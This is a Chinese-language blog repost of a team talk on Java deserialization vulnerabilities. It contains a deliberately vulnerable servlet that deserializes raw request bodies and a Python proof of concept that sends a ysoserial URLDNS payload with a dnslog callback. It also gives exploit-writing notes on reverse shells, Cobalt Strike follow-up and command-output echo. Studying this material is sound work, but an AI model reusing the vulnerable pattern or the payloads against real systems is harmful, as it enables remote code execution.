浅析Java反序列化漏洞议题

浅析Java反序列化漏洞议题

浅析Java反序列化漏洞议题

一次部门、团队内部分享议题,拿出来分享一下

反序列化漏洞历史

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。

确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。

虽然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影响的应用,在全球范围内做一个大概的统计。

序列化与反序列化机制

序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的readObject()方法用于反序列化。

序列化的前提是要序列化的对象必须实现Java.io.Serializable接口。

代码实例:

编写一个学生类:

package com.company;

import java.io.Serializable;

public class Person implements Serializable {
    private int age;
    private String name;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Person() {
    }

    public Person(int age, String name) {
        this.age = age;
        this.name = name;
    }
}

序列化代码:

package com.company;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {

    public static void main(String[] args) throws IOException {
        Person xiaoming = new Person(18, "xiaoming");
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.txt"));

        oss.writeObject(xiaoming);
    }
}

反序列化代码:

    public static void main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        Person person = (Person)ois.readObject();
        String name = person.getName();
        System.out.println(name);


    }
}

反序列化漏洞分析

在前面抛出的一个问题里面,反序列化明明是一个Java当中再正常不过的机制,为什么会产生反序列化漏洞呢?其实是因为在一些类中,会重写readobjetc方法。导致了反序列化的时候,调用的时候重写后的readobjetc方法调用了其他的一些方法,所以可能就会导致反序列化漏洞的产生。但是他并不是直接就能够去执行命令,而是需要通过一条构造好的恶意类,方法中的互相调用直到调用到Runtime这个方法才能去进行命令执行。在反序列化这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。

漏洞Demo

package com.test;

import com.sun.xml.internal.messaging.saaj.util.CharReader;

import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;

@WebServlet("/readServlet")
public class readServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ServletInputStream is = request.getInputStream();
        String request_data = null;
        byte[] bytes = new byte[1024];

        int len;
        while ((len = is.read(bytes))!=-1){
            request_data = new String(bytes, 0, len);

        }
        System.out.println(request_data);
        ByteArrayInputStream tInputStringStream = new ByteArrayInputStream(request_data.getBytes());
        ObjectInputStream oos = new ObjectInputStream(tInputStringStream);
        try {
            Object o = oos.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.doPost(request, response);
    }
}

POC编写思路

在shiroscan里面其实用到的也是URLDNS链,在编写POC的时候,可以借助ysoserial工具辅助来进行编写POC。其实网上很多的poc都是借助ysoserial来进行生成payload的。

ysoserial地址:ysoserial

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload;

poc代码:

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import subprocess
import requests

def res_data(dnslog_url):
    popen = subprocess.Popen(['java', '-jar', "ysoserial.jar", 'URLDNS', dnslog_url],shell=True,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE,
                             stdin=subprocess.PIPE)

    payload = (popen.stdout.read())
    # print(payload)
    return payload


def send(Address_ip,yso_data):

        res = requests.post(url=Address_ip, data=yso_data)
        if res.status_code == 200:
            print("The request was successful.")
            print("res.status_code")
        else:
            print("error")
            print(res.status_code)


def help():
    print("command: python poc.py dnslog.cn Address_ip ")


def main():
    dnslog_url = "http://sizyq6.dnslog.cn"
    url = 'http://localhost:8080/yt_war_exploded/readServlet'
    payload_data = res_data(dnslog_url)
    # print(payload_data)
    send(url, payload_data)


if __name__ == '__main__':
    main()

这里是一段POC漏洞验证代码,使用了URLDNS链来触发url请求,验证反序列化漏洞的存在,在shiro的工具里面其实用的一个链也是URLDNS链,该链不依赖于第三方库。但是利用场景只是在一个能出网的环境下,才能去利用。在实战情况下大致就分为两种,一个是能直接出网的机器,一个是不能出网的机器。在能出网的情况下的利用方式就可以使用dnslog去验证漏洞,然后执行命令的时候也可以直接的去执行反弹shell的命令。拿到反弹的shell后再在CS上去执行命令。那么还有种就是不出网的机器,像这种情况只能去进行直接的构造命令执行的回显。

Exp编写要点

想要编写一个完整的exp工具例如,在一般情况下哪条利用链比较通用的。因为在CC1和CC3利用链中使用的是

AnnotationInvocationHandler这个类去构造利用链,这个类在高版本中对readobject方法进行了修改,导致没法利用。还有的就是需要去解决一下回显的问题,如果机器没法出网,那么这时候去构造命令执行回显,将执行命令的内容返还给我们。在研究weblogic、fastjson、shiro这些反序列化漏洞时,会遇到比较多的关于回显的问题。回显的方式有defineClass类加载器回显、URLClassLoader异常回显、tomcat中间件回显、远程加载回显等等方式。当然工具的话肯定是gui的工具用着顺手,要开发gui的就需要学习gui的开发框架。其实gui的和命令行的工具开发起来都差不多,无非就是多写一个输入框输入内容,然后在代码里面去获取一些内容,然后在进行执行。
<span>浅析Java反序列化漏洞议题</span>

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/2693.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Unity3d场景快速烘焙【2020】

    Unity3d场景快速烘焙【2020】很多刚刚接触Unity3d的童鞋花了大量的时间自学,可总是把握不好Unity3d的烘焙,刚从一个坑里爬出来,又陷入另一个新的坑,每次烘焙一个场景少则几个小时,多则几十个小时,机器总是处于假死机状态,半天看不到结果,好不容易烘焙完了,黑斑、撕裂、硬边、漏光或漏阴影等缺陷遍布,惨不忍睹,整体效果暗无层次,或者苍白无力,灯光该亮的亮不起来,该暗的暗不下去,更谈不上有什么意境,痛苦的折磨,近乎失去了信心,一个团队从建模到程序,都没什么问题,可一到烘焙这一关,就堵得心塞,怎么也搞不出好的视觉效果,作品没法及时向用户交

  • Diablo II中的各种hacks

    Diablo II中的各种hacksGamehacks,也就是通常所说的游戏软件。在网络游戏时代,也许是因为针对传奇这类游戏的软件大都利用WPE之类的抓包工具来制作,因此hacks又叫外挂。不过Diablo的hacks绝大多数是和游戏代码紧密结合在一起的,也许应该叫内挂才对。DiabloIILOD(以下简称D2X)中的hacks大概可分为exploit、bot和mod三大类。exploit即漏洞,就是利用游戏设计上的缺陷或者B…

  • 有return的情况下try catch finally的执行顺序(最有说服力的总结)

    有return的情况下try catch finally的执行顺序(最有说服力的总结)结论:1、不管有木有出现异常,finally块中代码都会执行;2、当try和catch中有return时,finally仍然会执行;3、finally是在return后面的表达式运算后执行的(此时并没有返回运算后的值,而是先把要返回的值保存起来,管finally中的代码怎么样,返回的值都不会改变,任然是之前保存的值),所以函数返回值是在finally执行前确定的;4、finally

  • python执行测试用例_执行测试用例的工作

    python执行测试用例_执行测试用例的工作前言通常我们认为每个测试用例都是相互独立的,因此需要保证测试结果不依赖于测试顺序,以不同的顺序运行测试用例,可以得到相同的结果。pytest默认运行用例的顺序是按模块和用例命名的ASCII编码

  • ViewPager实现画廊效果「建议收藏」

    ViewPager实现画廊效果「建议收藏」开个头关键类publicclassMyPageTransformerimplementsViewPager.PageTransformer{privatestaticfinalfloatMIN_SCALE_X=1.0f;privatestaticfinalfloatMIN_SCALE_Y=0.8f;privatesta…

  • java经典入门教程(java从入门到精通第几版好用)

    刚开始学习java的时候,可能是一头雾水,不知道从何学起,这里跟大家分享一下!(仅仅只供初级学者学习,大佬勿喷)一、初始java1.生活中的程序:从起床到教室上课的过程穿衣打扮》起床》洗漱》出宿舍》》吃早餐》到教室按照特定的顺序去完成某一件事的过程我们叫做生活中的程序2.计算机中的程序:一组有序指令的集合,需要和计算机交流就要使用计算机语言,java就是计算机语言的一种3.java…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号